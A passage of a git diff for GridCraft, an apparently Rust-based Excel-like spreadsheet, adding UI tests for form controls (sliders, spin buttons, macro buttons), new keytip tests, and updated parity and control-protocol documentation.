sheets, and the Insert › Controls buttons, context menu and dialogs. + +use egui::{Event, Key, Modifiers, PointerButton, Pos2, Rect, vec2}; +use gridcraft_engine::Session; +use gridcraft_engine::core::{CellRef, Value}; +use gridcraft_engine::model::{FormControl, ObjKind, ObjRef}; +use gridcraft_ui_egui::form_controls::{Part, part_at, slider_parts}; +use gridcraft_ui_egui::{SheetApp, chartview, grid::Geo}; +use serde_json::json; + +type Harness = egui_kittest::Harness<'static, SheetApp>; + +struct Ids { + slider: u32, + spin: u32, + button: u32, +} + +fn fixture() -> (Harness, Ids) { + let mut s = Session::new(); + s.new_workbook(); + s.execute("cell.set", json!({"cell": "B1", "input": "20"})).unwrap(); + s.execute("cell.set", json!({"cell": "C1", "input": "=B1*10"})).unwrap(); + let id = |v: serde_json::Value| v["control"].as_u64().unwrap() as u32; + let slider = + id(s.execute("insert.slider", json!({"at": "E3", "width": 200, "height": 20, "link": "B1", "max": 100, "step": 1, "page": 10})).unwrap()); + let spin = + id(s.execute("insert.spinButton", json!({"at": "E8", "width": 20, "height": 40, "link": "B2", "max": 50, "step": 2, "value": 10})).unwrap()); + s.execute( + "macro.save", + json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "H1", "input": "pressed"}}], "output": {"onConflict": "overwrite"}}), + ) + .unwrap(); + let button = id(s.execute("insert.button", json!({"at": "E12", "text": "Mark it", "macro": "Mark"})).unwrap()); + s.execute("selection.set", json!({"cell": "A20"})).unwrap(); + let mut h = egui_kittest::Harness::builder() + .with_size(vec2(1400.0, 900.0)) + .with_step_dt(1.0 / 60.0) + .with_os(egui::os::OperatingSystem::Mac) + .build_ui_state( + |ui, app: &mut SheetApp| { + let ctx = ui.ctx().clone(); + app.logic(&ctx); + app.ui(ui); + }, + SheetApp::new(s, Default::default()), + ); + h.run_steps(4); + (h, Ids { slider, spin, button }) +} + +fn control(h: &Harness, id: u32) -> FormControl { + h.state().session.doc().unwrap().wb.active().unwrap().controls.iter().find(|c| c.id == id).cloned().unwrap() +} + +fn rect(h: &Harness, id: u32) -> Rect { + let app = h.state(); + let sh = app.session.doc().unwrap().wb.active().unwrap(); + chartview::object_rect(&Geo::new(sh, app.grid.rect.unwrap(), app.view().scroll), sh, ObjRef::new(ObjKind::Control, id)).unwrap() +} + +fn cell(h: &Harness, a: &str) -> Value { + h.state().session.doc().unwrap().wb.active().unwrap().value(CellRef::parse(a).unwrap()) +} + +fn undo_len(h: &Harness) -> usize { + h.state().session.doc().unwrap().undo.len() +} + +fn button(h: &mut Harness, p: Pos2, pressed: bool, which: PointerButton, modifiers: Modifiers) { + h.input_mut().events.push(Event::ModifiersChanged(modifiers)); + h.input_mut().events.push(Event::PointerMoved(p)); + h.input_mut().events.push(Event::PointerButton { pos: p, button: which, pressed, modifiers }); + h.step(); +} + +fn click_with(h: &mut Harness, p: Pos2, modifiers: Modifiers) { + h.run_steps(30); + button(h, p, true, PointerButton::Primary, modifiers); + button(h, p, false, PointerButton::Primary, modifiers); + h.input_mut().events.push(Event::ModifiersChanged(Modifiers::NONE)); + h.run_steps(2); +} + +fn click(h: &mut Harness, p: Pos2) { + click_with(h, p, Modifiers::NONE); +} + +fn key(h: &mut Harness, key: Key) { + h.input_mut().events.push(Event::Key { key, physical_key: None, pressed: true, repeat: false, modifiers: Modifiers::NONE }); + h.input_mut().events.push(Event::Key { key, physical_key: None, pressed: false, repeat: false, modifiers: Modifiers::NONE }); + h.run_steps(2); +} + +fn thumb(h: &Harness, id: u32) -> Rect { + let c = control(h, id); + slider_parts(rect(h, id), &c, 1.0).1 +} + +#[test] +fn dragging_the_slider_is_one_undo_step() { + let (mut h, ids) = fixture(); + let start = thumb(&h, ids.slider).center(); + assert_eq!(control(&h, ids.slider).value, 20); + let before = undo_len(&h); + let r = rect(&h, ids.slider); + let (track, _) = slider_parts(r, &control(&h, ids.slider), 1.0); + h.run_steps(30); + button(&mut h, start, true, PointerButton::Primary, Modifiers::NONE); + for k in 1..=6 { + let x = start.x + (track.left() + track.width() * 0.7 - start.x) * k as f32 / 6.0; + h.input_mut().events.push(Event::PointerMoved(Pos2::new(x, start.y + 3.0))); + h.step(); + } + let mid = control(&h, ids.slider).value; + assert!((68..=72).contains(&mid), "the thumb follows the pointer: {mid}"); + assert_eq!(cell(&h, "B1"), Value::Number(mid as f64), "the linked cell follows while dragging"); + assert_eq!(cell(&h, "C1"), Value::Number(mid as f64 * 10.0), "and its dependents"); + button(&mut h, Pos2::new(track.left() + track.width() * 0.7, start.y), false, PointerButton::Primary, Modifiers::NONE); + h.run_steps(2); + assert_eq!(undo_len(&h), before + 1, "the whole drag is one undo step"); + assert_eq!(h.state().selected_object, None, "working a control doesn't select it"); + h.state_mut().run("edit.undo", json!({})).unwrap(); + assert_eq!(cell(&h, "B1"), Value::Number(20.0)); + assert_eq!(control(&h, ids.slider).value, 20); +} + +#[test] +fn the_track_pages_and_editing_the_cell_moves_the_thumb() { + let (mut h, ids) = fixture(); + let r = rect(&h, ids.slider); + let after = Pos2::new(r.right() - 4.0, r.center().y); + assert_eq!(part_at(r, &control(&h, ids.slider), 1.0, after), Some(Part::TrackAfter)); + click(&mut h, after); + assert_eq!(cell(&h, "B1"), Value::Number(30.0), "a click on the track moves a page"); + click(&mut h, Pos2::new(r.left() + 3.0, r.center().y)); + assert_eq!(cell(&h, "B1"), Value::Number(20.0)); + let was = thumb(&h, ids.slider).center().x; + h.state_mut().run("cell.set", json!({"cell": "B1", "input": "90"})).unwrap(); + h.run_steps(2); + assert_eq!(control(&h, ids.slider).value, 90); + assert!(thumb(&h, ids.slider).center().x > was + 100.0, "editing the linked cell moves the thumb"); +} + +#[test] +fn spin_arrows_step_and_repeat_while_held() { + let (mut h, ids) = fixture(); + let r = rect(&h, ids.spin); + let up = Pos2::new(r.center().x, r.top() + 5.0); + let down = Pos2::new(r.center().x, r.bottom() - 5.0); + click(&mut h, up); + assert_eq!(cell(&h, "B2"), Value::Number(12.0)); + click(&mut h, down); + click(&mut h, down); + assert_eq!(cell(&h, "B2"), Value::Number(8.0)); + // Held: after a pause it repeats, and the whole hold is one undo step. + let before = undo_len(&h); + h.run_steps(30); + button(&mut h, up, true, PointerButton::Primary, Modifiers::NONE); + h.run_steps(60); + button(&mut h, up, false, PointerButton::Primary, Modifiers::NONE); + let v = control(&h, ids.spin).value; + assert!(v >= 14, "holding the arrow repeats: {v}"); + assert_eq!(undo_len(&h), before + 1); + // It stops at the maximum. + h.run_steps(30); + button(&mut h, up, true, PointerButton::Primary, Modifiers::NONE); + h.run_steps(400); + button(&mut h, up, false, PointerButton::Primary, Modifiers::NONE); + assert_eq!(control(&h, ids.spin).value, 50); +} + +#[test] +fn the_keyboard_steps_the_control_last_worked() { + let (mut h, ids) = fixture(); + let r = rect(&h, ids.spin); + click(&mut h, Pos2::new(r.center().x, r.top() + 5.0)); + assert_eq!(h.state().grid.focused_control, Some(ids.spin)); + key(&mut h, Key::ArrowUp); + key(&mut h, Key::ArrowUp); + assert_eq!(control(&h, ids.spin).value, 16); + key(&mut h, Key::ArrowDown); + assert_eq!(control(&h, ids.spin).value, 14); + key(&mut h, Key::End); + assert_eq!(control(&h, ids.spin).value, 50); + let tr = rect(&h, ids.slider); + click(&mut h, Pos2::new(tr.right() - 4.0, tr.center().y)); + assert_eq!(h.state().grid.focused_control, Some(ids.slider)); + key(&mut h, Key::ArrowRight); + assert_eq!(control(&h, ids.slider).value, 31); + key(&mut h, Key::PageDown); + assert_eq!(control(&h, ids.slider).value, 41); + key(&mut h, Key::PageUp); + key(&mut h, Key::ArrowLeft); + assert_eq!(control(&h, ids.slider).value, 30); + key(&mut h, Key::Home); + assert_eq!(cell(&h, "B1"), Value::Number(0.0)); + // Escape lets go; the arrows move the cell cursor again. + key(&mut h, Key::Escape); + assert_eq!(h.state().grid.focused_control, None); + key(&mut h, Key::ArrowDown); + assert_eq!(control(&h, ids.slider).value, 0); + assert_eq!(h.state().session.doc().unwrap().selection.active.a1(), "A21"); +} + +#[test] +fn a_button_runs_its_macro_and_cmd_or_right_click_only_selects() { + let (mut h, ids) = fixture(); + let r = rect(&h, ids.button); + click_with(&mut h, r.center(), Modifiers::COMMAND); + assert_eq!(h.state().selected_object, Some(ObjRef::new(ObjKind::Control, ids.button))); + assert_eq!(cell(&h, "H1"), Value::Empty, "Cmd+click selects without running"); + // A click on a selected control moves it rather than running it. + click(&mut h, r.center()); + assert_eq!(cell(&h, "H1"), Value::Empty); + // Click elsewhere, then right-click: selects, doesn't run. + click(&mut h, Pos2::new(r.right() + 300.0, r.bottom() + 100.0)); + assert_eq!(h.state().selected_object, None); + h.run_steps(30); + button(&mut h, r.center(), true, PointerButton::Secondary, Modifiers::NONE); + button(&mut h, r.center(), false, PointerButton::Secondary, Modifiers::NONE); + h.run_steps(2); + assert_eq!(h.state().selected_object, Some(ObjRef::new(ObjKind::Control, ids.button))); + assert_eq!(cell(&h, "H1"), Value::Empty); + h.state_mut().selected_object = None; + // A plain click runs the macro, as one undo step. + let before = undo_len(&h); + click(&mut h, r.center()); + assert_eq!(cell(&h, "H1"), Value::text("pressed")); + assert_eq!(undo_len(&h), before + 1); + assert!(h.state().message.is_none(), "{:?}", h.state().message); + // Pressing and sliding off before letting go doesn't run it. + h.state_mut().run("edit.undo", json!({})).unwrap(); + h.run_steps(30); + button(&mut h, r.center(), true, PointerButton::Primary, Modifiers::NONE); + button(&mut h, r.right_bottom() + vec2(80.0, 80.0), false, PointerButton::Primary, Modifiers::NONE); + h.run_steps(2); + assert_eq!(cell(&h, "H1"), Value::Empty); +} + +#[test] +fn a_button_from_a_file_asks_before_it_runs() { + use egui_kittest::kittest::Queryable as _; + let (mut h, ids) = fixture(); + h.state_mut().session.doc_mut().unwrap().trust = gridcraft_engine::Trust::FromFile; + let r = rect(&h, ids.button); + click(&mut h, r.center()); + assert_eq!(cell(&h, "H1"), Value::Empty, "nothing runs before the person says so"); + let d = h.state().dialog.clone().expect("a prompt"); + assert_eq!(d.name(), "controlQuestion"); + let text = d.values["text"].as_str().unwrap_or("").to_string(); + assert!(text.contains("came with a workbook you opened"), "{text}"); + h.get_by_label(" Run ").click(); + h.run_steps(2); + assert_eq!(cell(&h, "H1"), Value::text("pressed"), "Run presses it again with the approval"); + assert!(h.state().dialog.is_none()); +} + +#[test] +fn on_a_right_to_left_sheet_a_control_works_where_it_is_drawn() { + let (mut h, ids) = fixture(); + h.state_mut().run("view.rightToLeft", json!({"on": true})).unwrap(); + h.run_steps(3); + let screen = |h: &Harness, id: u32| { + let app = h.state(); + let sh = app.session.doc().unwrap().wb.active().unwrap(); + let geo = Geo::new(sh, app.grid.rect.unwrap(), app.view().scroll); + geo.mirror_rect(chartview::object_rect(&geo, sh, ObjRef::new(ObjKind::Control, id)).unwrap()) + }; + // The slider moves as a whole and keeps its minimum on the left. + let r = screen(&h, ids.slider); + click(&mut h, Pos2::new(r.right() - 4.0, r.center().y)); + assert_eq!(cell(&h, "B1"), Value::Number(30.0), "the right end of the track pages up"); + let r = screen(&h, ids.spin); + click(&mut h, Pos2::new(r.center().x, r.top() + 5.0)); + assert_eq!(cell(&h, "B2"), Value::Number(12.0), "the upper arrow adds a step"); +} + +// ---------------------------------------------------------------- ribbon, menus and dialogs + +fn insert_tab() -> Harness { + let mut s = Session::new(); + s.new_workbook(); + let mut app = SheetApp::new(s, Default::default()); + app.ui.ribbon_tab = "Insert".into(); + let mut h = egui_kittest::Harness::builder() + .with_size(vec2(1400.0, 900.0)) + .with_step_dt(1.0 / 60.0) + .with_os(egui::os::OperatingSystem::Mac) + .build_ui_state( + |ui, app: &mut SheetApp| { + let ctx = ui.ctx().clone(); + app.logic(&ctx); + app.ui(ui); + }, + app, + ); + h.run_steps(4); + h +} + +fn controls(h: &Harness) -> Vec { + h.state().session.doc().unwrap().wb.active().unwrap().controls.clone() +} + +fn cells_rect(h: &Harness) -> Rect { + h.state().grid.cells_rect.unwrap() +} + +#[test] +fn the_controls_group_places_by_click_or_drag() { + use egui_kittest::kittest::Queryable as _; + let mut h = insert_tab(); + // A click places a slider at its default size. + h.get_by_label("Slider").click(); + h.run_steps(2); + assert_eq!(h.state().grid.placing, Some(gridcraft_engine::model::ControlKind::Slider)); + let at = cells_rect(&h).min + vec2(300.0, 120.0); + click(&mut h, at); + let list = controls(&h); + assert_eq!(list.len(), 1); + assert_eq!((list[0].anchor.width, list[0].anchor.height, list[0].horizontal), (144.0, 18.0, true)); + assert_eq!(h.state().grid.placing, None, "placing is one-shot"); + assert_eq!(h.state().selected_object, Some(ObjRef::new(ObjKind::Control, list[0].id)), "the new control is selected"); + // A tall drag draws a vertical slider of that size. + h.get_by_label("Slider").click(); + h.run_steps(2); + let from = cells_rect(&h).min + vec2(600.0, 100.0); + h.run_steps(30); + button(&mut h, from, true, PointerButton::Primary, Modifiers::NONE); + h.input_mut().events.push(Event::PointerMoved(from + vec2(10.0, 60.0))); + h.step(); + button(&mut h, from + vec2(20.0, 150.0), false, PointerButton::Primary, Modifiers::NONE); + h.run_steps(2); + let s = controls(&h).pop().unwrap(); + // The drawn size is in sheet points (screen pixels over the zoom). + let drawn = rect(&h, s.id); + assert!(!s.horizontal && (drawn.width() - 20.0).abs() < 1.5 && (drawn.height() - 150.0).abs() < 1.5, "{drawn:?}"); + // Escape disarms. + h.get_by_label("Spin Button").click(); + h.run_steps(2); + key(&mut h, Key::Escape); + assert_eq!(h.state().grid.placing, None); + // A button asks what to run. + h.get_by_label("Button").click(); + h.run_steps(2); + let spot = cells_rect(&h).min + vec2(100.0, 300.0); + click(&mut h, spot); + assert_eq!(h.state().dialog.as_ref().map(|d| d.name.as_str()), Some("assignAction")); +} + +#[test] +fn assign_action_and_format_control_dialogs() { + use egui_kittest::kittest::Queryable as _; + let (mut h, ids) = fixture(); + // Right-click opens the control's menu; Assign Action picks a command. + let r = rect(&h, ids.button); + h.run_steps(30); + button(&mut h, r.center(), true, PointerButton::Secondary, Modifiers::NONE); + button(&mut h, r.center(), false, PointerButton::Secondary, Modifiers::NONE); + h.run_steps(2); + assert_eq!(h.state().grid.object_menu.map(|(_, kind, id)| (kind, id)), Some(("control", ids.button))); + // The ribbon has a Delete button of its own. + for item in ["Edit Text", "Assign Action…", "Format Control…", "Delete"] { + assert!(h.query_all_by_label(item).next().is_some(), "{item}"); + } + h.get_by_label("Assign Action…").click(); + h.run_steps(2); + assert_eq!(h.state().dialog.as_ref().map(|d| d.name.as_str()), Some("assignAction")); + // The dialog settles its size (and so its place) over the first frames. + h.run_steps(30); + let radio = h.get_by_label("Run a command").rect(); + click(&mut h, radio.center()); + assert_eq!(h.state().dialog.as_ref().map(|d| d.values["mode"].clone()), Some(json!("command"))); + { + let d = h.state_mut().dialog.as_mut().unwrap(); + d.values.insert("command".into(), json!("cell.set")); + d.values.insert("params".into(), json!("{\"cell\": \"H2\", \"input\": \"cmd\"}")); + } + h.run_steps(2); + h.get_by_label(" OK ").click(); + h.run_steps(2); + assert!(h.state().dialog.is_none(), "{:?}", h.state().message); + assert!(matches!(control(&h, ids.button).action, Some(gridcraft_engine::model::ControlAction::Command { ref id, .. }) if id == "cell.set")); + h.state_mut().selected_object = None; + click(&mut h, r.center()); + assert_eq!(cell(&h, "H2"), Value::text("cmd"), "{:?}", h.state().message); + + // Format Control: refuses broken limits, then applies good ones and writes the link. + h.state_mut().open_dialog("formatControl", json!({"id": ids.spin})); + h.run_steps(2); + assert!(h.query_by_label("Incremental change:").is_some()); + assert!(h.query_by_label("Page change:").is_none(), "a spin button has no page change"); + { + let d = h.state_mut().dialog.as_mut().unwrap(); + d.values.insert("max".into(), json!("0")); + } + h.run_steps(2); + assert!(h.query_by_label_contains("must be greater than Minimum").is_some()); + { + let d = h.state_mut().dialog.as_mut().unwrap(); + d.values.insert("max".into(), json!("40")); + d.values.insert("value".into(), json!("30")); + d.values.insert("link".into(), json!("$D$1")); + } + h.run_steps(2); + h.get_by_label(" OK ").click(); + h.run_steps(2); + let c = control(&h, ids.spin); + assert_eq!((c.max, c.value, c.link.as_deref()), (40, 30, Some("$D$1"))); + assert_eq!(cell(&h, "D1"), Value::Number(30.0)); + + // Double-clicking a selected button edits its text. + h.state_mut().selected_object = Some(ObjRef::new(ObjKind::Control, ids.button)); + h.state_mut().open_object(ObjRef::new(ObjKind::Control, ids.button)); + h.run_steps(2); + assert_eq!(h.state().dialog.as_ref().map(|d| d.title.as_str()), Some("Edit Text")); +} diff --git a/crates/ui-egui/tests/it/keytips_generated.rs b/crates/ui-egui/tests/it/keytips_generated.rs index 810338a48..09a04d55c 100644 --- a/crates/ui-egui/tests/it/keytips_generated.rs +++ b/crates/ui-egui/tests/it/keytips_generated.rs @@ -1095,6 +1095,13 @@ fn keytip_hx_() { assert!(h.state().session.journal.iter().any(|(id, _)| id == "edit.cut"), "HX must journal edit.cut"); } +#[test] +fn keytip_nbu_() { + let mut h = harness(blank()); + sequence(&mut h, "NBU", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "insert.button"), "NBU must journal insert.button"); +} + #[test] fn keytip_nc1_() { let mut h = harness(blank()); @@ -1302,6 +1309,13 @@ fn keytip_nsa_() { assert_eq!(h.state().keytips.prefix(), None); } +#[test] +fn keytip_nsb_() { + let mut h = harness(blank()); + sequence(&mut h, "NSB", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "insert.spinButton"), "NSB must journal insert.spinButton"); +} + #[test] fn keytip_nsc_() { let mut h = harness(blank()); @@ -1333,6 +1347,13 @@ fn keytip_nsh_() { assert!(h.state().session.journal.iter().any(|(id, _)| id == "insert.shape"), "NSH must journal insert.shape"); } +#[test] +fn keytip_nsl_() { + let mut h = harness(blank()); + sequence(&mut h, "NSL", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "insert.slider"), "NSL must journal insert.slider"); +} + #[test] fn keytip_nsp_() { let mut h = harness(blank()); @@ -2754,7 +2775,7 @@ fn keytip_q_() { #[test] fn generated_test_count_matches_the_table() { - const EXPECTED: usize = 365; + const EXPECTED: usize = 368; assert_eq!(gridcraft_ui_egui::keytips::keytip_table::SEQUENCES.len(), EXPECTED); } diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index ca72568da..a96b02a20 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -39,6 +39,7 @@ mod find_dialog_focus; mod floating_pictures; mod font_box_filter; mod font_size_box; +mod form_controls; mod format_chart_type; mod format_painter; mod formula_bar; diff --git a/docs/control-protocol.md b/docs/control-protocol.md index bbe00c51f..1ca0a3e9d 100644 --- a/docs/control-protocol.md +++ b/docs/control-protocol.md @@ -92,8 +92,10 @@ include `window` or `doc` to run it in that window, as with `engine.execute`; th them as their own parameters. `ui.inspect` reports the selected floating object as `selectedObject: {kind, id}` (or `null`), -where `kind` is `chart`, `image`, `shape` or `slicer`; the same names go in the `kind` parameter -of `object.delete`, `object.move`, `object.setAnchorMode` and the `arrange.*` commands. +where `kind` is `chart`, `image`, `shape`, `slicer` or `control` (a form button, slider or spin +button); the same names go in the `kind` parameter of `object.delete`, `object.move`, +`object.setAnchorMode` and the `arrange.*` commands. Form controls are worked with +`control.setValue` and `control.press`, and listed by `control.list`. `selectedChart` remains for existing clients: the id when the selection is a chart, otherwise `null`. With an object selected, `ui.key {key: "Delete"}` (or Backspace) deletes the object instead of clearing cells, and Escape clears the selection. diff --git a/docs/parity-checklist.md b/docs/parity-checklist.md index 71d75f659..f02cb8490 100644 --- a/docs/parity-checklist.md +++ b/docs/parity-checklist.md @@ -4,7 +4,7 @@ Each entry is an Excel ribbon or menu command (feature names only). It counts as implemented when GridCraft registers a command with the same id. This measures breadth only; the overall assessment (depth, fidelity, effort) is in [target-app-parity.md](target-app-parity.md). -**Overall: 276 / 292 commands implemented (94.5%).** +**Overall: 280 / 296 commands implemented (94.6%).** | Tab | Implemented | Total | Parity | |---|---|---|---| @@ -18,6 +18,7 @@ Each entry is an Excel ribbon or menu command (feature names only). It counts as | Review | 15 | 18 | 83% | | View | 21 | 21 | 100% | | Automate | 4 | 4 | 100% | +| Developer | 4 | 4 | 100% | | Table Design | 13 | 13 | 100% | | Chart Design | 8 | 8 | 100% | | Format | 3 | 3 | 100% | @@ -334,6 +335,15 @@ Implemented: - `automate.recordActions` Record Actions (Scripting Tools) - `automate.trustScripts` Trust Scripts (Scripting Tools) +## Developer (4 / 4, 100%) + +Implemented: + +- `insert.button` Button (Form Control) (Controls) +- `insert.spinButton` Spin Button (Form Control) (Controls) +- `insert.slider` Scroll Bar (Form Control) (Controls) +- `control.format` Properties (Controls) + ## Table Design (13 / 13, 100%) Implemented: diff --git a/docs/target-app-parity.md b/docs/target-app-parity.md index b5a63ea36..7b8791f17 100644 --- a/docs/target-app-parity.md +++ b/docs/target-app-parity.md @@ -1,6 +1,6 @@ # Target-app parity: GridCraft vs Microsoft Excel -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (chart resizing no longer listed as missing; earlier: automation: macro interface; earlier: catalog count 276 / 292, as `cargo xtask parity` measures; automation: typed macros in the engine; several windows: a native window per workbook window, New Window on the same workbook, Arrange All; no score change) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (form controls; catalog 280 / 296; earlier: chart resizing no longer listed as missing; earlier: automation: macro interface; earlier: catalog count 276 / 292, as `cargo xtask parity` measures; automation: typed macros in the engine; several windows: a native window per workbook window, New Window on the same workbook, Arrange All; no score change) · **Target:** Microsoft Excel (Microsoft 365) This is the authoritative parity assessment. [`ROADMAP.md`](../ROADMAP.md) summarizes it, [`gaps.md`](gaps.md) lists every shortfall, and the area checklists hold the detail: @@ -13,7 +13,7 @@ generated ribbon checklist is [`parity-checklist.md`](parity-checklist.md). | Number | Value | Kind | |---|---|---| | Feature breadth (weighted by use) | **~75%** | estimated from the area table below; anchored on two measurements | -| Ribbon and menu catalog | **276 / 292 (94.5%)** | measured: `cargo xtask parity` (`crates/engine/src/catalog.rs` ∩ registered command ids) | +| Ribbon and menu catalog | **280 / 296 (94.6%)** | measured: `cargo xtask parity` (`crates/engine/src/catalog.rs` ∩ registered command ids) | | Worksheet functions, by name | **513 / 523 (98.1%)** | measured: registered functions vs Microsoft's published function list (method below) | | Worksheet functions that do real work | **504 / 523 (96.4%)** | measured: excludes 9 stubs (7 CUBE functions, WEBSERVICE, FILTERXML) | | **Ready for real work** | **~50%** | estimated; written weights below (51.6 computed) | @@ -54,11 +54,12 @@ long `.xls` track, so about half parallelizes (≈30–50 wall-clock hours with COPILOT and PY: **523 functions**. Ours: every `f!(…)` spec in `crates/functions/src/*.rs` plus `SPECIAL_FUNCTIONS` in `crates/calc/src/eval.rs` (evaluator special forms), minus the test-only `ADD2`: **505**, all of them Excel names. -- **Ribbon catalog:** `crates/engine/src/catalog.rs` (292 unique ids across 15 tabs) against the - 313 command ids registered in `crates/engine/src/cmd/*.rs`, recomputed from source by script and +- **Ribbon catalog:** `crates/engine/src/catalog.rs` (296 unique ids across 16 tabs) against the + 321 command ids registered in `crates/engine/src/cmd/*.rs`, recomputed from source by script and identical to the committed `parity-checklist.md`. The catalog is our own transcription of Excel's main ribbon tabs; it leaves out most contextual tabs (Picture Format, Shape Format, - Header & Footer, Sparkline, Slicer, Timeline), the Developer and Help tabs and sub-menu items, so + Header & Footer, Sparkline, Slicer, Timeline), most of the Developer tab (its form controls are + in), the Help tab and sub-menu items, so 89% of it is roughly **60–65% of Excel's full command surface** (estimated). - **Depth and readiness:** source reading (the model types in `crates/model/src/features.rs`, readers and writers in `crates/xlsx/src`, the evaluator), 478 `#[test]` functions, and the @@ -91,9 +92,9 @@ performance 8, stability 8, localization 4, hardware 2, platforms 2, ecosystem 2 | Page layout, print, PDF | 5 | ~80% | ~55% | 12–20 | Page setup, print titles, breaks, Page Break Preview, headers/footers, PDF export and printing. No true Page Layout view; the PDF writer uses only the 14 standard fonts without embedding (no CJK or other non-Latin text in PDF); web print only exports (#141, #143) | | What-if and analysis | 4 | ~50% | ~40% | 22–35 | Goal Seek, Scenario Manager, data tables, Analysis ToolPak (13 of 19 tools, no charts), Solver (Simplex LP, a local nonlinear method and Evolutionary; Answer and Limits reports; no Sensitivity report or options dialog). Missing: Forecast Sheet, Analyze Data | | Get & Transform, external data, data model | 5 | ~15% | ~10% | 60–100 | Import of CSV/TSV, JSON, HTML. No Power Query editor, no From Web, database or folder sources, no connections or refresh, no relationships or data model, no external workbook links (dropped with a warning) | -| Insert objects | 3 | ~55% | ~45% | 25–40 | Pictures, 8 shape kinds (Excel has ~170), text boxes, own icon set, ink with Ink to Shape, hyperlinks, checkboxes. Missing: SmartArt, WordArt, equations, signature line, objects, 3-D models, screenshot, pictures in cells (PR #105) | +| Insert objects | 3 | ~55% | ~45% | 25–40 | Pictures, 8 shape kinds (Excel has ~170), text boxes, own icon set, ink with Ink to Shape, hyperlinks, checkboxes, form buttons, scroll bars and spin buttons. Missing: SmartArt, WordArt, equations, signature line, objects, 3-D models, screenshot, pictures in cells (PR #105) | | Review, comments, protection, collaboration | 4 | ~55% | ~40% | 35–55 | Threaded comments, notes, spelling (system dictionary), thesaurus, sheet and workbook protection, Allow Edit Ranges with Excel-compatible password hashes (#307). Missing: comment navigation, Show Changes, notes-to-comments conversion, accessibility checker, co-authoring, opening password-encrypted files (refused with a message since #17) | -| Automation | 4 | ~30% | ~20% | 12–20 | Recorded, editable GridCraft scripts (Automate tab). Typed macros in the engine (`macro.*`: recorder, runner with input checks and a footprint dry run, debugger; [macros.md](macros.md)), recorded from Automate › Macros, edited and debugged in a step editor, and run from the Macros dialog or a Ctrl+Shift shortcut. VBA is out of scope by owner decision: an `.xlsm` keeps its VBA project unchanged on save and never runs it. No Office Scripts compatibility | +| Automation | 4 | ~30% | ~20% | 12–20 | Recorded, editable GridCraft scripts (Automate tab). Typed macros in the engine (`macro.*`: recorder, runner with input checks and a footprint dry run, debugger; [macros.md](macros.md)), recorded from Automate › Macros, edited and debugged in a step editor, and run from the Macros dialog, a Ctrl+Shift shortcut or a form button (which can also run one command). VBA is out of scope by owner decision: an `.xlsm` keeps its VBA project unchanged on save and never runs it. No Office Scripts compatibility | | **Weighted** | 100 | **~75%** | **~59%** | **300–485** | | ## Dimensions diff --git a/docs/ui-parity.md b/docs/ui-parity.md index a7c1345d5..9b19ddbb5 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,10 +1,10 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-31 · **Change:** minor (every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: checkbox cells print as boxes; earlier: Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; earlier: editing a hyperlink loads its existing fields; earlier: AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-31 · **Change:** minor (form controls: buttons, sliders and spin buttons on the sheet; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: checkbox cells print as boxes; earlier: Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; earlier: editing a hyperlink loads its existing fields; earlier: AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured -separately in [parity-checklist.md](parity-checklist.md) (276 / 292). +separately in [parity-checklist.md](parity-checklist.md) (280 / 296). Sources: `crates/ui-egui/src` (ribbon, grid, editor, formula bar, dialogs, panes), `crates/engine/src/cmd` (shortcuts in command specs), the owner's black-box notes @@ -68,6 +68,7 @@ this logic, with one undo step. | Copy as HTML table for other apps | done (#36, 10-10) | | Context menu on cells | 16 items (Cut, Copy, Paste, Paste Special, Insert, Delete, Clear Contents, Filter by value, Sort, New Comment, New Note, Format Cells, Pick From Drop-down List, Define Name, Link). Insert Copied Cells (Insert Cut Cells for whole rows/columns) while the clipboard holds a copy (#21). Show Details on a PivotTable's value, subtotal or grand total cell (`pivot.showDetails`). Missing: Insert Cut Cells for a cell block, paste-option icons, Quick Analysis, Get Data from Table, Show Changes, Smart Lookup | | Move and resize charts, pictures and shapes | done (#190, #213): charts, pictures, shapes and slicers select with a frame of eight handles; each handle resizes only its own edges (they never cross), the body moves the object, and the pointer shows a resize or move cursor; Delete or Backspace deletes the selected object and Escape drops the selection; double-click edits a text box, opens Format Chart for a chart. Rotation handle, Shift for proportional resizing, Alt to snap to cells and multi-object selection missing | +| Form controls: buttons, scroll bars (sliders), spin buttons | done (10-31): Insert › Controls (Button, Slider, Spin Button; Excel has them under Developer › Insert) places one by a drag, or at its default size by a click; a click works a control: drag the thumb, page on the track, click or hold an arrow (a drag or a hold is one undo step), press a button, which runs a macro or a command and asks first in a workbook opened from a file; the control last worked takes the arrows, Page Up and Page Down, Home, End, and Space or Enter; Ctrl or Cmd+click or a right-click selects it to move or resize; its menu has Edit Text, Assign Action, Format Control and Delete. Check boxes, option buttons, list boxes and drop-downs (form controls) are kept from files but not shown | | Context menus on row/column headers, sheet tabs, charts, shapes | headers and tabs done; objects partial | | Quick Analysis (Ctrl+Q) | missing | | Smooth scrolling, scrollbars | done; vertical scrollbar added 10-09 (#73); horizontal scrollbar in the tab bar (60/40 split, drag, track click pages) 10-13 (#176, #840); dragging the handle at the scrollbar's left edge gives the tabs more or less of the bar; each workbook keeps its share while it is open (not saved in the file) | From 